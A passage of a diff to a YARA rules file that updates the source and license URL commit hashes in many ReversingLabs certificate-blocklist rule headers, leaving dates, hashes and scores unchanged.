+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12762-L12780"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b66d67b74d73a143cb5301b232abd5f0f84f058223d4494b924a25dffb49037a"
 		score = 75
 		quality = 90
@@ -18506,8 +18559,8 @@ rule REVERSINGLABS_Cert_Blocklist_6Fc143Ba34Cabf1De7A4C7F8F4Cdad6D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12782-L12798"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12782-L12798"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ffe25e4478a2245d4e5b330bb9300fb6cb48afb0fe3bd72bd62a589eeee3fe89"
 		score = 75
 		quality = 90
@@ -18531,8 +18584,8 @@ rule REVERSINGLABS_Cert_Blocklist_6Ac6268B2E431A2C1369346D175D0E30 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12800-L12816"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12800-L12816"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "27efaba9bd9cd116f640007c1e951bb77757efbe148b5f953e71d6621d7f16b2"
 		score = 75
 		quality = 90
@@ -18556,8 +18609,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Fc4D9178B8Df2C19E269Ac6F43Dd708 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12818-L12834"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12818-L12834"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "41dfe37b464d337268a8bb0e23124df7b50ab966038e8ad33bda81a4d86040ca"
 		score = 75
 		quality = 90
@@ -18581,8 +18634,8 @@ rule REVERSINGLABS_Cert_Blocklist_E01407871E2146C9Baab1Ae7Ab8Ab172 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12836-L12854"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12836-L12854"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1801e7f15bd5f916fc08d263a845d296d334ca9de1040008f619719c1b5c0a3b"
 		score = 75
 		quality = 90
@@ -18606,8 +18659,8 @@ rule REVERSINGLABS_Cert_Blocklist_Effc6D19D6Fc85872E4E5B3Ccee6D301 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12856-L12874"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12856-L12874"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a746c4193f1264cb96eae0ea85c2c76b5caf3b72ca950f76af426b4d68d210b3"
 		score = 75
 		quality = 90
@@ -18631,8 +18684,8 @@ rule REVERSINGLABS_Cert_Blocklist_2F4A25D52B16Eb4C9Dfe71Ebbd8121Bb : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12876-L12892"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12876-L12892"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7b237ae0574afeafcc05f71512c09d3170edbee20e512a1b0af5b431923dc25c"
 		score = 75
 		quality = 90
@@ -18656,8 +18709,8 @@ rule REVERSINGLABS_Cert_Blocklist_6889Aab6202Bcc5F11Caedf4D04F435B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12894-L12910"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12894-L12910"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b2261ed8001929be8f80f73cc0c5076138f4794c73cbffd63773da5fc44639a8"
 		score = 75
 		quality = 90
@@ -18681,8 +18734,8 @@ rule REVERSINGLABS_Cert_Blocklist_3Be63083Fbb1787B445Da97583721419 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12912-L12928"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12912-L12928"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f39f5a632544bc01c3b4c9e2f2dd33f7109c44375f54011a34181e10da79debc"
 		score = 75
 		quality = 90
@@ -18706,8 +18759,8 @@ rule REVERSINGLABS_Cert_Blocklist_6E2D3449272B6B96B8B9F728E87580D5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12930-L12946"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12930-L12946"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0155a8c71bf8426bbb980798772b04c145df5b8c4b60ff1a610a1236a47547ef"
 		score = 75
 		quality = 90
@@ -18731,8 +18784,8 @@ rule REVERSINGLABS_Cert_Blocklist_268C0D7028A154Ac3B6349C5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12948-L12964"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12948-L12964"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8311b36f008e31b7ac27b439fa46da4c90ab4be6c7c89426f8e1939963bc3d7d"
 		score = 75
 		quality = 90
@@ -18756,8 +18809,8 @@ rule REVERSINGLABS_Cert_Blocklist_2Daa8D629Cc0410A9482E62A0F8Bf8Fc : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12966-L12982"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12966-L12982"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cfb2631bc1832f65fb9d77c812bf2a1e05121e825254bd57ae8b21e7b10b2344"
 		score = 75
 		quality = 90
@@ -18781,8 +18834,8 @@ rule REVERSINGLABS_Cert_Blocklist_9A727E200Ea76570 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12984-L13002"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12984-L13002"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "337dc486f2bdca1f7682887d5e5c0f82961850a8fd9c9a20b9a43a75334070d8"
 		score = 75
 		quality = 90
@@ -18806,8 +18859,8 @@ rule REVERSINGLABS_Cert_Blocklist_0954A3C876Df9262Cde5817F9870F0C6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13004-L13020"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13004-L13020"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "164b064a9df31d4a122236dfee7b713417a44d47a7f304b2bf55686a7f038feb"
 		score = 75
 		quality = 90
@@ -18831,8 +18884,8 @@ rule REVERSINGLABS_Cert_Blocklist_3C30930E53Bb026F9A5D7440155F7118 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13022-L13038"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13022-L13038"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "260a58669043d21ee0ffccbdee95c9d04ef338497685d42f1951660f658a164d"
 		score = 75
 		quality = 90
@@ -18856,8 +18909,8 @@ rule REVERSINGLABS_Cert_Blocklist_432Eefc0D4Dc0326Eb277A518Cc4310A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13040-L13056"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13040-L13056"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d5a0b7f19f66f18b5ef1c548276b675ead74fed6be94310c303bfad6c85f18be"
 		score = 75
 		quality = 90
@@ -18881,8 +18934,8 @@ rule REVERSINGLABS_Cert_Blocklist_470D6Ce21A6940320261F09E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13058-L13074"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13058-L13074"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cae1d381bf2018a0ce56feb245d01f2bfea55b67894264d32d78dbb41873c792"
 		score = 75
 		quality = 90
@@ -18906,8 +18959,8 @@ rule REVERSINGLABS_Cert_Blocklist_7E6Bc7E5A49E2C28E6F5D042 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13076-L13092"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13076-L13092"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f378c490ff4f32fc095c822f75abac44a8d94327404cd97546c63e7441e07632"
 		score = 75
 		quality = 90
@@ -18931,8 +18984,8 @@ rule REVERSINGLABS_Cert_Blocklist_4C5020899147C850196C4Ebf : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13094-L13110"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13094-L13110"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "112e834a24c50d639f8607740faa609f1a36539058357544e5dbcddf841f3116"
 		score = 75
 		quality = 90
@@ -18956,8 +19009,8 @@ rule REVERSINGLABS_Cert_Blocklist_4Efcf7Adc21F070E590D49Ddb8081397 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13112-L13128"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13112-L13128"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d60a5bbd50484d620ab60cfd40840abc541c2b7bc1005a9076b69ddd1b938652"
 		score = 75
 		quality = 90
@@ -18981,8 +19034,8 @@ rule REVERSINGLABS_Cert_Blocklist_Cbd37C0A651913Ee25A6860D7D5Ccdf2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13130-L13148"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13130-L13148"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "77cc439aea6eaa5a835b6b1aa50904c1df0d5379228e424ab2d68a3cb654834c"
 		score = 75
 		quality = 90
@@ -19006,8 +19059,8 @@ rule REVERSINGLABS_Cert_Blocklist_5Fe0Ad6B03C57Ab67A352159004Ca3Db : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13150-L13166"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13150-L13166"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6f2489421f2effa2089b744f7e137818935fe2339d9216a42686012c51da677b"
 		score = 75
 		quality = 90
@@ -19031,8 +19084,8 @@ rule REVERSINGLABS_Cert_Blocklist_642Ad8E5Ef8B3Ac767F0D5C1A999Bdaa : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13168-L13184"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13168-L13184"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d42d40ca381b99b68a3384cecf585aab2acca66d4e13503d337b1605d587d0b5"
 		score = 75
 		quality = 90
@@ -19056,8 +19109,8 @@ rule REVERSINGLABS_Cert_Blocklist_5333D3079D8Afda715703775E1389991 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13186-L13202"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13186-L13202"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "98bd9d35c4e196a11943826115ab495833f7ef1d95f9736cc24255d6dd4fd21c"
 		score = 75
 		quality = 90
@@ -19081,8 +19134,8 @@ rule REVERSINGLABS_Cert_Blocklist_139A7Ee1F1A7735C151089755Df5D373 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13204-L13220"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13204-L13220"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "86072fef7d1488dc257c3ca8fbb99620ec06f8ecb671b4e20d09d0ce6cc8601d"
 		score = 75
 		quality = 90
@@ -19106,8 +19159,8 @@ rule REVERSINGLABS_Cert_Blocklist_74Dbe83082E1B3Dfa29F9C24 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13222-L13238"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13222-L13238"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1fdf6471d0b869df1a8630108cdaf1cc97d33e91d4726073913cdc54c7cf0042"
 		score = 75
 		quality = 90
@@ -19131,8 +19184,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A466553A6391Aafd181B400266C7B18 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13240-L13256"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13240-L13256"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cb21e5759887904d6a38cd1b363610ebc0bfd9a357050c602210468992815cbe"
 		score = 75
 		quality = 90
@@ -19156,8 +19209,8 @@ rule REVERSINGLABS_Cert_Blocklist_0D3Dec8794Fa7228D1Ee40Eeb8187149 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13258-L13274"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13258-L13274"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "20084dc0b069d65755f859f5aef4be5599d1f066ba006199d3ce803b0d8f041e"
 		score = 75
 		quality = 90
@@ -19181,8 +19234,8 @@ rule REVERSINGLABS_Cert_Blocklist_24Af70B5D17A63Ad053E5821 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13276-L13292"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13276-L13292"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d78f709067c83169484d9dd6e1dd8a88852362da028551d4e55e5703a22e04a7"
 		score = 75
 		quality = 90
@@ -19206,8 +19259,8 @@ rule REVERSINGLABS_Cert_Blocklist_402E9Fcba61E5Eaf9C0C7B3Bfd6259D9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13294-L13310"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13294-L13310"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1bfc2610745a98ebcf0f77504815d9d1c448697fbe407d6c2e075219b401de50"
 		score = 75
 		quality = 90
@@ -19231,8 +19284,8 @@ rule REVERSINGLABS_Cert_Blocklist_2C84F9136059E96134F8766670Eacd52 : INFO FILE
 		date = "2023-11-08"
